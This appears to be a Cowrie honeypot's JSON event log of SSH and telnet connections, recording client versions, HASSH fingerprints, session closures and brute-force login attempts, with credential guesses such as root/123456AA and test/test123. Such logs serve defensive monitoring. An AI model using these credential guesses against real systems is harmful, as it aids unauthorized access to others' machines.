{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":51604,"dst_ip":"159.203.135.109","dst_port":22,"session":"072041746058","protocol":"ssh","message":"New connection: 43.156.97.164:51604 (159.203.135.109:22) [session: 072041746058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:15.306231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:15.311374Z","src_ip":"43.156.97.164","session":"072041746058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:15.542775Z","src_ip":"43.156.97.164","session":"072041746058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi1","message":"login attempt [kobi/kobi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:15.958851Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Andisheh@321","message":"login attempt [root/Andisheh@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:16.499077Z","src_ip":"43.156.97.164","session":"072041746058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi123","message":"login attempt [kobi/kobi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:17.045572Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48862,"dst_ip":"10.17.0.5","dst_port":23,"session":"55623d1e9214","protocol":"telnet","message":"New connection: 192.119.13.58:48862 (10.17.0.5:23) [session: 55623d1e9214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:17.501059Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49224,"dst_ip":"10.17.0.5","dst_port":23,"session":"37cf8b8d3e14","protocol":"telnet","message":"New connection: 192.119.13.58:49224 (10.17.0.5:23) [session: 37cf8b8d3e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:17.607414Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:17.735609Z","src_ip":"43.156.97.164","session":"072041746058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi1234","message":"login attempt [kobi/kobi1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:18.136257Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi12345","message":"login attempt [kobi/kobi12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:19.222156Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:20.308011Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00344038009644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:22.490867Z","src_ip":"186.195.16.41","session":"9359b968f01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.94698166847229,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:22.568397Z","src_ip":"192.119.13.58","session":"af82980e802d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.36131501197815,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:28.314930Z","src_ip":"192.119.13.58","session":"a3e40f2b6a3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23714,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de2e0976110","protocol":"ssh","message":"New connection: 194.59.206.2:23714 (159.203.135.109:22) [session: 6de2e0976110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:34.009060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:34.018936Z","src_ip":"194.59.206.2","session":"6de2e0976110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:34.109719Z","src_ip":"194.59.206.2","session":"6de2e0976110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:34.220187Z","src_ip":"194.59.206.2","session":"6de2e0976110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.777469635009766,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:35.236537Z","src_ip":"192.119.13.58","session":"5092b5c54ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.64826846122742,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:37.172722Z","src_ip":"192.119.13.58","session":"17d1b563ce24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57486,"dst_ip":"10.17.0.5","dst_port":23,"session":"41676164bcee","protocol":"telnet","message":"New connection: 192.119.13.58:57486 (10.17.0.5:23) [session: 41676164bcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:38.637863Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.82.246","src_port":35422,"dst_ip":"159.203.135.109","dst_port":22,"session":"7088d6a185dd","protocol":"ssh","message":"New connection: 36.26.82.246:35422 (159.203.135.109:22) [session: 7088d6a185dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:41.460604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:41.470533Z","src_ip":"36.26.82.246","session":"7088d6a185dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.300880670547485,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:41.560497Z","src_ip":"192.119.13.58","session":"917e3998cf58","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:41.694735Z","src_ip":"36.26.82.246","session":"7088d6a185dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41858,"dst_ip":"10.17.0.5","dst_port":23,"session":"05eb0cc70eea","protocol":"telnet","message":"New connection: 192.119.13.58:41858 (10.17.0.5:23) [session: 05eb0cc70eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:41.904777Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:42.579734Z","src_ip":"36.26.82.246","session":"7088d6a185dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54938,"dst_ip":"10.17.0.5","dst_port":23,"session":"09bf1acb3677","protocol":"telnet","message":"New connection: 192.119.13.58:54938 (10.17.0.5:23) [session: 09bf1acb3677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:44.413160Z"}
{"eventid":"cowrie.session.closed","duration":32.803744077682495,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:50.304676Z","src_ip":"192.119.13.58","session":"55623d1e9214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.267133712768555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:51.874398Z","src_ip":"192.119.13.58","session":"37cf8b8d3e14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34580,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf6d313aa5c8","protocol":"telnet","message":"New connection: 192.119.13.58:34580 (10.17.0.5:23) [session: cf6d313aa5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:52.235295Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":53422,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f00397583fe","protocol":"ssh","message":"New connection: 41.242.115.83:53422 (159.203.135.109:22) [session: 8f00397583fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:52.336506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:52.342088Z","src_ip":"41.242.115.83","session":"8f00397583fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:52.537109Z","src_ip":"41.242.115.83","session":"8f00397583fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.17992568016052,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:52.756020Z","src_ip":"192.119.13.58","session":"e1d63b312300","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:53.344040Z","src_ip":"41.242.115.83","session":"8f00397583fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:54.542378Z","src_ip":"41.242.115.83","session":"8f00397583fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":53012,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d334f0ab1e","protocol":"ssh","message":"New connection: 91.4.14.170:53012 (10.17.0.5:22) [session: 60d334f0ab1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:54.993993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:54.998871Z","src_ip":"91.4.14.170","session":"60d334f0ab1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:55.150539Z","src_ip":"91.4.14.170","session":"60d334f0ab1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456AA","message":"login attempt [root/123456AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:55.646535Z","src_ip":"91.4.14.170","session":"60d334f0ab1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:56.803561Z","src_ip":"91.4.14.170","session":"60d334f0ab1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42842,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb526d4e092c","protocol":"telnet","message":"New connection: 192.119.13.58:42842 (10.17.0.5:23) [session: eb526d4e092c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:01.478166Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef0c308d0b59","protocol":"telnet","message":"New connection: 192.119.13.58:47850 (10.17.0.5:23) [session: ef0c308d0b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:02.284420Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60516,"dst_ip":"10.17.0.5","dst_port":23,"session":"9daf0bc612af","protocol":"telnet","message":"New connection: 192.119.13.58:60516 (10.17.0.5:23) [session: 9daf0bc612af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:05.744867Z"}
{"eventid":"cowrie.session.closed","duration":0.009116649627685547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:05.753853Z","src_ip":"192.119.13.58","session":"9daf0bc612af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9929039478302,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:10.630666Z","src_ip":"192.119.13.58","session":"41676164bcee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":35374,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd1995634a94","protocol":"ssh","message":"New connection: 193.46.255.86:35374 (10.17.0.5:22) [session: bd1995634a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:12.505089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:12.510062Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:12.636896Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:13.219821Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:14.350781Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:15.486703Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46266,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5568707dbe5","protocol":"telnet","message":"New connection: 192.119.13.58:46266 (10.17.0.5:23) [session: a5568707dbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:15.843438Z"}
{"eventid":"cowrie.session.closed","duration":0.007258176803588867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:15.850541Z","src_ip":"192.119.13.58","session":"a5568707dbe5","protocol":"telnet"}
